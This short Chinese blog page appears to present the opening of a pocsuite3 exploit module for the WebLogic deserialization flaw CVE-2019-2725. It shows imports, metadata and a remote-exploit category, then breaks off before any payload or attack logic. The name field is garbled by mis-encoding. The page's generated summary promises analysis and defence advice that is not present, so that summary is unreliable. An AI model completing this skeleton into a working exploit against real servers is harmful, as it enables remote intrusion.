weblogic CVE-2019-2725 pocsuite3的 poc

最新推荐文章于 2025-03-14 16:39:38 发布

南人旧心1906

最新推荐文章于 2025-03-14 16:39:38 发布

阅读量2k

点赞数

分类专栏：漏洞学习

本文链接：https://blog.youkuaiyun.com/qq_42133828/article/details/94590608

版权

本文详细介绍了CVE-2019-2725漏洞，这是一个影响Oracle WebLogic Server的安全问题。通过分析pocsuite3中的POC，解释了漏洞的工作原理和利用过程，并提供了防御此类攻击的建议。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

import re
from collections import OrderedDict
from urllib.parse import urljoin

from pocsuite3.api import Output,POCBase,register_poc,requests,logger,POC_CATEGORY,OptDict
from pocsuite3.api import get_listener_ip,get_listener_port
from pocsuite3.lib.utils import random_str

class DemoPOC(POCBase):
	vulID = '97920'
	version = '1'
	author = ['seebug']
	vulDate = '2019-04-17'
	createDate = '2019-06-28'
	updateDate = '2019-06-28'
	references = ['https://www.seebug.org/vuldb/ssvid--97920']
	name = "Welogic 10.3.6 10.12.1.3 wls9-async 鍙嶅簭鍒楀寲婕忔礊锛圕VE-2019-2725锛�"
	appPowerLink = ''	
	appName = 'Weblogic'
	appVersion = '10.3.6 12.1.3'
	vulType = 'unserialization'
	desc = '''
		weblogic 123456789
	'''
	samples = []
	install_requires = ['']
	category = POC_CATEGORY.EXPLOITS.REMO